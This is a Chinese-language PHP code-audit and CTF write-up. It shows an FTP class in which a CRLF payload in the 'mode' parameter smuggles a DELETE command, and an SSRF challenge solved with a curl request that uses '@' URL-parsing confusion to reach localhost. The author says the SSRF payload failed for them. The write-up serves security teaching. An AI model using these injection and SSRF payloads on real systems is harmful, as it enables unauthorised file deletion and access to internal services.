漏洞代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| class FTP { public $sock;
public function __construct($host, $port, $user, $pass) { $this->sock = fsockopen($host, $port);
$this->login($user, $pass); $this->cleanInput(); $this->mode($_REQUEST['mode']); $this->send($_FILES['file']); }
private function cleanInput() { $_GET = array_map('intval', $_GET); $_POST = array_map('intval', $_POST); $_COOKIE = array_map('intval', $_COOKIE); }
public function login($username, $password) { fwrite($this->sock, "USER " . $username . "\n"); fwrite($this->sock, "PASS " . $password . "\n"); }
public function mode($mode) { if ($mode == 1 || $mode == 2 || $mode == 3) { fputs($this->sock, "MODE $mode\n"); } }
public function send($data) { fputs($this->sock, $data); } }
new FTP('localhost', 21, 'user', 'password');
|
漏洞解析
fsockopen
打开一个网络连接或一个Unix套接字连接。
intval
获取变量的整数值。
我们看这里:
1 2 3 4 5
| public function mode($mode) { if ($mode == 1 || $mode == 2 || $mode == 3) { fputs($this->sock, "MODE $mode\n"); } }
|
其中mode的传值是来自$_REQUEST['mode']
它是单独占一个值的,不会因为get,post的改变而改变。然后还有一个 ==
弱比较。所以我们传入payload:
1 2
| ?mode=1%0a%0dDELETE%20test.file (%0a换行%0d回车)
|
可以进行删除文件操作。
【fsockopen的使用】
CTF题目
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <?php function check_inner_ip($url) { $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); if (!$match_result){ die('url fomat error1'); } try{ $url_parse=parse_url($url); } catch(Exception $e){ die('url fomat error2'); } $hostname=$url_parse['host']; $ip=gethostbyname($hostname); $int_ip=ip2long($ip); return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16 || ip2long('0.0.0.0')>>24 == $int_ip>>24; }
function safe_request_url($url) { if (check_inner_ip($url)){ echo $url.' is inner ip'; } else{ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); $result_info = curl_getinfo($ch); if ($result_info['redirect_url']){ safe_request_url($result_info['redirect_url']); } curl_close($ch); var_dump($output); } }
$url = $_POST['url']; if(!empty($url)){ safe_request_url($url); } else{ highlight_file(__file__); } //flag in flag.php
?>
|
flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php if (! function_exists('real_ip') ) { function real_ip() { $ip = $_SERVER['REMOTE_ADDR']; if (is_null($ip) && isset($_SERVER['HTTP_X_FORWARDED_FOR']) && preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) { foreach ($matches[0] AS $xip) { if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) { $ip = $xip; break; } } } elseif (is_null($ip) && isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (is_null($ip) && isset($_SERVER['HTTP_CF_CONNECTING_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CF_CONNECTING_IP'])) { $ip = $_SERVER['HTTP_CF_CONNECTING_IP']; } elseif (is_null($ip) && isset($_SERVER['HTTP_X_REAL_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_X_REAL_IP'])) { $ip = $_SERVER['HTTP_X_REAL_IP']; } return $ip; } } $rip = real_ip(); if($rip === "127.0.0.1") die("HRCTF{SSRF_can_give_you_flag}"); else die("You IP is {$rip} not 127.0.0.1"); ?>
|
CTF 题解
payload:
1
| curl -d "url=http://foo@localhost:80@www.freebuf.com/flag.php" "http://题目IP/"
|
不知道什么原因我一直不成功,可能是版本问题吧。晕,有机会再补吧。